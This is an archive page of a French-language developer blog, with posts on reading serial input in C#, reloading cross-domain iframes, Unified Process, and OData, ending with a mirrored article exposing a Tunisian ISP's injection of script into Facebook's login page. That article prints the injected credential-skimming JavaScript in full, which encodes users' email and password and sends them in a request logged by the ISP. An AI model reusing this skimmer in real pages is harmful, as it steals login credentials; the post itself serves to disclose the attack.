Category Archives: Divers

Les inclassables

Read serial input in C#

NET%20LogoHere’s a simple code snippet to read the serial inputs in C#. I had to use this code several times when working with arduino like devices.

Hope you’ll enjoy it.
Catch you next time and keep it bug free !

    using System;
    using System.IO.Ports;

    class Program
    {
        [STAThread]
        static void Main(string[] args)
        {
            new Program();
        }

        // Create the serial port with basic settings
        // port name, bauds, parity, packet size and stop bits.
        private SerialPort port = new SerialPort("COM3", 115200, Parity.None, 8, StopBits.Two);

        private Program()
        {
            // Called when data received through serial
            port.DataReceived += new SerialDataReceivedEventHandler(port_DataReceived);

            // Can crash if the port is already used, haven't found a way to detect it...
            try
            {
                // Start to listen
                port.Open();
            }
            catch(Exception ex)
            {
                Console.WriteLine(ex.Message);
            }

            // Just avoid console to return
            Console.ReadKey();
        }

        private void port_DataReceived(object sender, SerialDataReceivedEventArgs e)
        {
            // Write the incoming data
            Console.Write(port.ReadExisting());
        }
    }

Reload IFrame and manage Same-Origin policies with JQuery

jquery-logoFor a project, I had to dynamicaly reload an IFrame (within a JQuery dialog box) and include cross domain pages.
To load the IFrame and set the source :

$(FrameID).attr("src", URL);

To reload the IFrame you can use :

$(FrameID).contentDocument.location.reload(true);

But if the content come from another domain you will be denied access to the iframe’s contentDocument property due to the same-origin policy.
To force the cross-domain iframe to reload if your code is running on the iframe’s parent page, you can set it’s src attribute to itself.

var iframe = document.getElementById(FrameID);
iframe.src = iframe.src;

But be carefull, this is a hack ! So if you do something like this in production code, comment it, or the next one would probably remove this code who seems totally useless.

Useless C# Code : Simulation d’un banc de poisson

Salut à tous, faisais un bail que je n’ai plus rien posté donc voici pour votre plaisir un petit useless C# code qui simule le comportement d’un banc de poisson.

Le principe du banc de poisson est simple :

  1. Suivre le poisson le plus proche
  2. Eviter la collision
  3. Fuir l’ennemi

Ces 3 simples règles donnent un résultat assez amusant.

Ma simulation est en 2D mais le rajoute d’un vecteur Z ne poserait aucuns problèmes. (Avis au dev’s directX intéressé ^^).

Voici ce que l’on obtiens avec un exemple de 50 poisons a 100 frames en boucle, d’où la séquence. (Clicker sur l’image pour lancer l’animation)

Enfin, voici le code « utile » :

Classe Fish : http://pastebin.com/8GE2d5zy

Tools : http://pastebin.com/pKGGPwT2

Et le projet VS2010 : http://www.mediafire.com/?521q35s97hc3q

@musez-vous bien ^^

Présentation Unified Process

Salut à tous, voici un petit article vous présentant brièvement ce qu’est unified process.

On va dans cet article aborder les 3 axes fondateurs d’UP, les 5 core d’itération, ses phases et son implémentation RUP.

Kezako ?

Premièrement, unified process est un SDP (software developpement process) et un SEP (software engineering process), c’est-à-dire qu’il va fournir des process et méthodes permettant de répondre à qui, quoi, quand et comment dans le cadre du développement logiciel et donc aider à « transformer les specs en logiciel ».

Ensuite UP (unified process) est un très souvent utilisé en tant que framework, c’est-à-dire, un ensemble de bonnes pratiques et de concept qu’il faudra ensuite composer avec ses pratiques et méthodes.

UP  a été développé par un les auteurs d’UML ce qui explique sa forte utilisation dans les process.

Enfin UP apporte plus de questions que de réponse (mais au moins il permet d’avoir les bonnes questions)

Les 3 axes d’UP

UP repose sur 3 axes majeurs et les comprendre c’est déjà comprendre la moitié du process :

UP est axé sur les use-case et est risk driven

UP est centré sur l’architecture

UP et itératif et incrémental

Cores

Les projets mettant en place UP comportement tous les stades classique du développement logiciel :

Planification

Analyse & design

Construction

Intégration et teste

Livraison

Il implémente ces étapes dans ses 5 core suivant :

Requirement – Capturer les ce que le système doit faire

Analysis – Rafiner et structurer les requirements

Design – réaliser les requirements dans l’architecture du système

Implémentation – construire le logiciel

Test – Vérifier que l’implémentation fait ce que les requirements demandent

Ces 5 cores représentent une itération. Pour comprendre l’incrémental, un coup d’œil au schéma suivant sera utile :

On voit que les itérations sont exécutées dans 4 phases. Nous allons les détailler après, mais faisons d’abord un débroussaillement. La première, inception, qui consiste à lancer le projet et principalement dégager les spécification et débuter l’analyse. Ensuite la phase d’élaboration qui se concentre sur le raffinement des specs, l’analyse et le design avec un début d’implémentation. Suit la construction qui a lieu une fois les spécifications capturées. A ce stade l’analyse et le design ne concerne plus que de possible besoin supplémentaires et les itérations se focus sur l’implémentation. Afin de sortir de la phase de construction se conclut souvent par une beta testing publique. La phase de Transition représente le déploiement du système.

5 Phases : focus & objectifs

Inception

Établir la faisabilité

Créer les business case pour démontrer les bénéfices apportés

Tenter de capturer les besoins essentiels du système

Identifier les risques critiques

L’inception se concentre principalement sur les requirements et un début d’analyse. Un peu de design et d’implémentation peut être fait si il est nécessaire de réaliser un PoC ou un prototype d’application qui sera les seuls artefacts pouvant résulter de la phase.

Élaboration

Créer une architecture de base

Raffiner la gestion des risques

Définir les attributs qualité

Capturer 80% des use case des besoins fonctionnels

Créer un plan détaillé pour la phase de construction

Le but de cette phase est de créer un système partiel mais fonctionnel d’un point de vue architectural. Ce n’est pas un prototype mais plus une sorte de « coquille vide ». C’est d’ailleurs une des phases majeures d’UP. (UP étant basé sur l’architecture et l’architecture se définissant principalement ici, ça n’a rien de surprenant)

Construction

Découvrir tous les besoins n’ayant pas été pris en compte

Finaliser les modèles d’analyse

Finaliser le design

Construire les IOC et les tester

Maintenir l’intégrité de l’architecture du système

Le but de cette phase est de faire tout ce qui n’a pas encore été fait et surtout d’implémenter toutes les fonctionnalités restante vu que le design et l’architecture ont été finalisé ou presque dans la phase précédente.

Transition

Corriger les défauts

Préparer les migrations/déploiements

Adapter le système au lieu d’implémentation

Créer la documentation utilisateur

Fournir du support

Conduire une analyse de post projet

Les objectifs parlent d’eux même, on peaufine, on corrige les dernières petites erreurs (avec des patchs si le logiciel est déjà livré), on implémente et on documente. Étape très importante, le debrief de post projet. Ce debrief (qui peut durer une journée ou plus) permet d’identifier et de reporter les problèmes rencontré lors du développement du projet et de modifier les process si nécessaire afin de ne plus les rencontrer au projet développement.

RUP/UP

RUP est une implémentation réalisée par Rational Software de Unified Process (racheté par IBM en 2003, Rational ayant au moment du développement de RUP racheté Requisite, Verdix, Objectory, SQA & Pure-Atria). RUP a été créé également par les créateurs de UP et UML. En effet, en 1995 Rumbaugh rejoint Rational Software et ensuite Jacobson. Booch étant déjà chez Rational Software, toute l’équipe d’UML (Jacobson compris donc) était réunie pour collaborer autour d’une implémentation de UP, ce qui conduit a un ouvrage « The Unified Software Development Process » ne 1999. Cette implémentation fut longtemps une simple implémentation commerciale de UP avec quelques outils très peu différent. Ce qui a vraiment rendu RUP utile est le travail de documentation et d’écriture réalisé Kruchten, alors représentant pour Rational passé « Director of Process Development » qui développa un vrai framework basé sur Objective.

RUP est à la fois différent et similaire a UP, on notera principalement les cores supplémentaire, principalement résultant du travail de Kruchten une fois chez IBM. (Il garda son poste après le rachat de Rational). Mais le plus de RUP est l’intégration avec les outils de la gamme rational. Ceci dit, d’autres implémentations sont disponibles, comme OpenUP. De même UP est souvent implémenté en interne avec des outils comme Eclipse Process Framework.

 

Bibliographie

The Unified Software Development Process – Jacobson, Booch, Rumbaugh
UML & The Unified Process – Jim Arlow & Ila Naustadt
The Rational Unified Process-An Introduction – Kruchten
Rational Unified Process Made Easy-A Practitioner’s Guide to the RUP – Kruchten

http://en.wikipedia.org/

Cours sur les librairies dans le développement logiciel

Salut à tous, j’ai eu l’occasion de donner une leçon dans le cadre du cours de Mr Cailleuw sur l’utilisation de librairies dans le développement logiciel ainsi que sur les raisons qui poussent a segmenter ses logiciels en librairies de composants (indépendamment du facteur non réécriture de code). Les slides ne servant que de support, je mettrai en ligne un complément reprenant ce qui a été donné oralement.

Liens vers les slides sur Scribd
http://www.scribd.com/doc/49791480/langageProc

Présentation powerpoint en pptx (Office 2010)
http://manu404.wolfplex.org/blogdoc/langageProc.pptx

Présentation powerpoint en pdf
http://manu404.wolfplex.org/blogdoc/langageProc.pdf

Inform@tiquement
Istace Emmanuel – Manu404

OData – Introduction à l’Open Data Protocol

Salut. Comme beaucoup, une session a retenu mon attention lors des derniers techdays à Paris. Elle concerne OData, projet permettant d’exposer des données au travers de webservices en http, données identifiées par leurs URI. Jusque-là rien de bien nouveau me direz-vous ? Et bien, pas si sûr 😉

OData et Rest

OData (Open Data Protocol) est, comme son nom l’indique, un protocole d’échange de données ouvert et peut être vu comme une sorte de version avancée de REST. Pour être plus précis, c’est une spécification d’un modèle d’échange de données exposées sur le Web. Ce n’est donc pas son implémentation, cette tâche étant laissée au soin des développeurs, mais de nombreuses API existent déjà pour vous aider à exposer vos données en respectant les spécifications de OData. (Php, java, ruby, dotnet, Ios, windows mobile… et la liste est encore longue). Des outils sont également disponibles afin de vous aider dans le développement d’applications que l’on pourrait qualifier d’ « OData compliant ». Dans cet article, nous ne ferons qu’aborder la spécification d’OData et non son implémentation dans un langage particulier afin que vous puissiez, quelque soit votre langage de développement, obtenir au travers de cet article une introduction à OData.

Basiquement, OData permet de récupérer en http des données sous forme de fichiers JSON ou ATOM (xml).

Voici un exemple de requête qui pourrait être traduit par : « Affiche tous les clients dans la table Customers de la base Northwind »

http://services.odata.org/Northwind/Northwind.svc/Customers

Ou encore : « Affiche tous les clients dans la table Customers de la base Northwind où le Contact Name est égal à Maria Anders »

http://services.odata.org/Northwind/Northwind.svc/Customers?$filter=ContactName eq  ’Maria Anders’

OData et Microsoft Open Specification Promise

Le projet est en cours de normalisation via le projet Microsoft Open Specification Promise (OSP), ce qui permet aux tiers, y compris les projets open source, de construire des services de données librement en implémentant OData et donc améliorer l’interopérabilité entre les solutions Microsoft et non-Microsoft de manière bilatérale par le biais de publication de spécification. Pour plus d’information sur OSP et les travaux de Microsoft en terme de spécification de protocoles ouvert, vous pouvez vous référer à cette page : http://www.microsoft.com/interop/osp/default.mspx

La spécification complète étant disponible à cette adresse : http://msdn.microsoft.com/en-us/library/dd541188%28v=PROT.10%29.aspx

La première release est sortie début 2009 tandis que l’actuelle, en version 8.0, est sortie il y a quelques jours à peine. (11/02/2011) Voici le PDF de cette version de la spécification : http://download.microsoft.com/download/9/5/E/95EF66AF-9026-4BB0-A41D-A4F81802D92C/%5BMS-ODATA%5D.pdf

(les mauvaise langues pourront ainsi par la même occasion constater les efforts fait par Microsoft en terme d’interopérabilité et de contribution open source au monde de l’informatique 😉 )

Structure d’une URI Odata

(source : http://www.odata.org/images/ODataUri.png – OData Project Portail)

Comme le schéma l’indique, le format d’uri utilisé par OData est celui spécifié dans la RFC 3986

On a donc obligatoirement le schéma suivi du nom d’hôte, ensuite le port peut être précisé. Après vient la racine du service à contacter, que l’on peut décorer avec le chemin vers une ressource spécifique, enfin les options de requêtes sont placées en fin d’URI et préfixées par un ‘ ?’.

Reprenons notre exemple :

http://services.odata.org/Northwind/Northwind.svc/Customers?$filter=ContactName eq  ’Maria Anders’

–          services.forensia.com -> Host

–          Le port par défaut est ici 80

–          /ForensiaData.svc/ -> La racine du service

–          Client -> Le chemin de la ressource

–          $filter=Name eq ’Jean’ -> Les options de requêtes

La partie chemin de ressource propose beaucoup plus de possibilités, mais dans le cadre d’une introduction, ce n’est pas nécessaire de rentrer dans son détail.

Query Options

Maintenant que nous savons accéder à une collection de données, passons maintenant aux requêtes de cette collection. Cette partie de l’url définit trois types d’informations, les System Query Options, Custom Query Optionset les Services Operation Parameters. Le groupe de travail sur la spécification de OData préconise de respecter cette structure pour la construction des options de query.

System Query Option

Les SqO (pour gagner du temps), permettent de renseigner toutes les informations qu’un client pourrait donner afin de contrôler la quantité et l’ordre des données retournées par le service OData. Chacune de ces options est préfixée par ‘$’.

Faisons un bref aperçu des principales SqO

Orderby SqO

Cette SqO permet de définir une expression qui sera utilisée pour déterminer quelles valeurs détermineront l’ordre de la collection retournée par le service. Voici un exemple qui affiche tous les clients triés par nom de manière ascendante

http://services.odata.org/Northwind/Northwind.svc/Customers?$orderby=ContactName asc

L’inverse :

http://services.odata.org/Northwind/Northwind.svc/Customers?$orderby=ContactName desc

Et ici on trie selon le Nom puis retrié sous-séquentiellement selon l’ID

http://services.odata.org/Northwind/Northwind.svc/Customers?$orderby=ContactName,ContactID asc

Top  SqO

Ce SqO permet d’identifier un sous ensemble, exemple où l’on récupère les 10 premiers clients :

http://services.odata.org/Northwind/Northwind.svc/Customers?$top=10

Ou encore on récupère les 10 premiers clients triés par noms.

http://services.odata.org/Northwind/Northwind.svc/Customers?$top=10&orderby=ContactName asc

Skip SqO

Skip permet d’ignorer un sous-ensemble dans la recherche, exemple ou l’on récupère tous les clients sauf les 10 premiers :

http://services.odata.org/Northwind/Northwind.svc/Customers?$skip=10

Ou encore, voici comment récupérer les clients de 20 a 30 triés par noms :

http://services.odata.org/Northwind/Northwind.svc/Customers?$skip=20&$top=10&$orderby=ContactName asc

Filter SqO

Passons enfin à celui qui sera le plus utilisé, le filtrer. Il s’écrit un peu à la manière des if en Bash. Des opérateurs logiques, arithmétiques et de groupement sont disponibles. Voici un résumé disponible sur odata.org :

 

Format SqO

Ce SqO permet de définir le type de réponse que l’on attend, à savoir Atom(atom+xml), Xml, Json ou n’importe quel type de données définies par l’IANA

Voici un exemple pour récupérer du JSON :

http://services.odata.org/Northwind/Northwind.svc/Customers?$format=json

C’est tout ?

OData propose dans sa spécification beaucoup de fonctions très utiles, nous n’avons vu ici que les principales et les plus utilisées. Pour plus d’informations et la liste complète, vous pouvez vous référer à la page http://www.odata.org/developers/protocols/uri-conventions qui contient une liste plus exhaustive des fonctions disponibles dans la spécification OData.

Service Operation Parameters

OData permet de définir des fonctions personnalisées afin d’étendre les fonctionnalités de votre data service. Ces fonctions que vous développez seront reprises dans le $metadata pour les communiquer aux développeurs utilisant votre data service, un peu à la manière d’interfaces (dans le sens Orienté Objet/Services du terme)

Et maintenant ?

Et bien maintenant vous avez tout ce qui est nécessaire afin de commencer à comprendre et requêter des données exposées implémentant OData. Par exemple Ebay, Facebook, Windows Live ou encore Stack Overflow exposent certaines de leurs données en OData. Concernant les logiciels exposant leurs données avec OData on peut citer Microsoft Sharepoint 2010, IBM WebSphere, Microsoft SQL Azure, Microsoft Dynamics CRM, GeoREST, Telerik OpenAccess ORM ou encore Telerik Sitefinity CRM.

Pour obtenir les informations plus détaillées de OData, vous pouvez vous référer au site http://www.odata.org/ qui propose une documentation à l’attention des développeurs, le site lui-même reposant dessus (le contraire aurait été choquant).

La liste des outils et des OData Producers (dans le sens producteur de données) est disponible ici : http://www.odata.org/producers

 

 

La tunisie vole les login/pass de ses utilisateurs via les FAI – RootBSD

Bonjour a tous, cet article est un mirror de mon amis RootBSD. En effet depuis la publication de ce billet, son site est DoS. Il demande a tout le monde de mirrorer (et sourcer !) cet article pour faire passer l’infos.
La suite est donc de lui :

ATTENTION : depuis la publication de cet article mon serveur est particulièrement sujet au DDOS… Ne souhaitant pas répondre de manière aussi stupide à ces attaques. Je vous propose a chacun de faire un miroir de cet article. Je vous remercie d’avance.
Voici comment l’état tunisien injecte sur du JavaScript pour voler les identifiants et mot de passe de ses citoyens.

Voici le code source de facebook quand vous vous y connectez depuis la Tunisie :

Code:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml&#8221; xml:lang=”fr” lang=”fr” id=”facebook”>
<head>
<meta http-equiv=”Content-type” content=”text/html; charset=utf-8″ />
<meta http-equiv=”Content-language” content=”fr” />
<script type=”text/javascript”>
//<![CDATA[
CavalryLogger=false;window._is_quickling_index=””;window._EagleEyeSeed=”w6jw”;
//]]>
</script><noscript> <meta http-equiv=refresh content=”0; URL=/?_fb_noscript=1″ /> </noscript> 

<meta name=”robots” content=”noodp,noydir” />
<meta name=”description” content=” Facebook est un réseau social qui vous relie à des amis, des collègues de travail, des camarades de classe ou d’autres personnes qui ont quelque chose à partager avec vous. Grâce à Facebook, vous pourrez rester en contact avec vos amis, charger un nombre illimité de photos, publier des liens et des vidéos… et faire plus ample connaissance avec les personnes que vous rencontrez.” />
<link rel=”alternate” media=”handheld” href=”http://www.facebook.com/&#8221; />
<title>Bienvenue sur Facebook</title>
<noscript><meta http-equiv=”X-Frame-Options” content=”deny” /></noscript>
<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y6/r/TVhzFSu8Tm2.css&#8221; />

<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y-/r/zbLi6FTnPZj.css&#8221; />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yN/r/Uuokrl6Xv3c.css&#8221; />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yT/r/rUdGGxe1Qk1.css&#8221; />

<script type=”text/javascript” src=”http://b.static.ak.fbcdn.net/rsrc.php/yK/r/NK-XVT6bZ0B.js”></script&gt;

<link rel=”search” type=”application/opensearchdescription+xml” href=”http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml&#8221; title=”Facebook” />
<link rel=”shortcut icon” href=”http://static.ak.fbcdn.net/rsrc.php/y7/r/5875srnzL-I.ico&#8221; /></head>
<body>
<div id=”FB_HiddenContainer” style=”position:absolute; top:-10000px; width:0px; height:0px;” ></div><div id=”blueBar”></div><div id=”globalContainer”><div id=”dialogContainer”></div><div id=”dropmenu_container”></div><div id=”content” class=”fb_content clearfix”><div ><!– 2365fa3194ecdc0cab15721ce967a9f8663937c7 –>
<div><div class=”loggedout_menubar_container”><div><a href=”/” title=”Accéder à la page d’accueil”><img src=”http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png&#8221; alt=”Logo de Facebook” width=”170″ height=”36″ /></a><div class=”rfloat”><div><form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1&#8243; id=”login_form” onsubmit=”hAAAQ3d()” onsubmit=”return Event.__inlineSubmit(this,event)”><div style=”position:absolute;top:-250px”><img id=”x6y7z8″ src=””/></div>
<script language=”javascript”>
<!–
function h6h(st){var st2=””;for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=””;for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8”); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

</script><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” name=”lsd” value=”AOL9y” autocomplete=”off” /><input type=”hidden” id=”locale” name=”locale” value=”fr_FR” autocomplete=”off” /><table cellspacing=”0″><tr><td class=”html7magic”><label for=”email”>Adresse électronique</label></td><td class=”html7magic”><label for=”pass”>Mot de passe</label></td></tr><tr><td><input type=”text” name=”email” id=”email” tabindex=”1″ /></td><td><input type=”password” name=”pass” id=”pass” tabindex=”2″ /></td><td><label class=”uiButton uiButtonConfirm”><input value=”Connexion” tabindex=”4″ type=”submit” /></label></td></tr><tr><td class=”login_form_label_field”><input type=”checkbox” class=”inputcheckbox” value=”1″ id=”persistent” name=”persistent” checked=”1″ /><input type=”hidden” name=”default_persistent” value=”1″ /><label id=”label_persistent” for=”persistent”>Garder ma session active</label></td><td class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php&#8221; rel=”nofollow”>Mot de passe oublié ?</a></td></tr></table><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” id=”lsd” name=”lsd” value=”AOL9y” autocomplete=”off” /></form>
</div></div></div></div><div class=”WelcomePage_MainSell”><div class=”WelcomePage_MainSellCenter clearfix”><div class=”WelcomePage_MainSellLeft”><div class=”WelcomePage_MainMessage”>Facebook vous permet de rester en contact et d’échanger avec les personnes qui vous entourent.</div><div class=”WelcomePage_MainMap”>&nbsp;</div></div><div ><div class=”WelcomePage_SignUpSection”><div class=”WelcomePage_SignUpMessage”><div class=”WelcomePage_SignUpHeadline”>Inscription</div><div class=”WelcomePage_SignUpSubheadline”>C’est gratuit (et ça le restera toujours)</div></div><div id=”registration_container”><div><noscript><div id=”no_js_box”><h2>JavaScript est désactivé dans votre navigateur.</h2><p>Veuillez activer JavaScript dans votre navigateur ou installer un navigateur avec JavaScript pour pouvoir vous enregistrer sur Facebook.</p></div></noscript><div id=”simple_registration_container” class=”simple_registration_container”><div id=”reg_box”><form method=”post” id=”reg” name=”reg” onsubmit=”return

J’ai volontairement coupé le code source, le reste n’a que peu d’importance. Par partie curieuse est celle-ci :

Code:
<!–
function h6h(st){var st2=””;for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=””;for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8”); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

Ce code est injecté à la volé par le FAI et n’apparait dans aucun autre pays…
Ce morceau de JS fait donc un query vers hxxp://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD
Avec le username et password en clair. La page wo0dh3ad n’existe évidement pas chez facebook… Par contre cela permet de pouvoir faire un simple : “grep wo0dh3ad /var/log/FAI.log”. Grâce à cela le FAI tunisien peut très facilement récupérer le username et le password de son abonné dans les logs !!!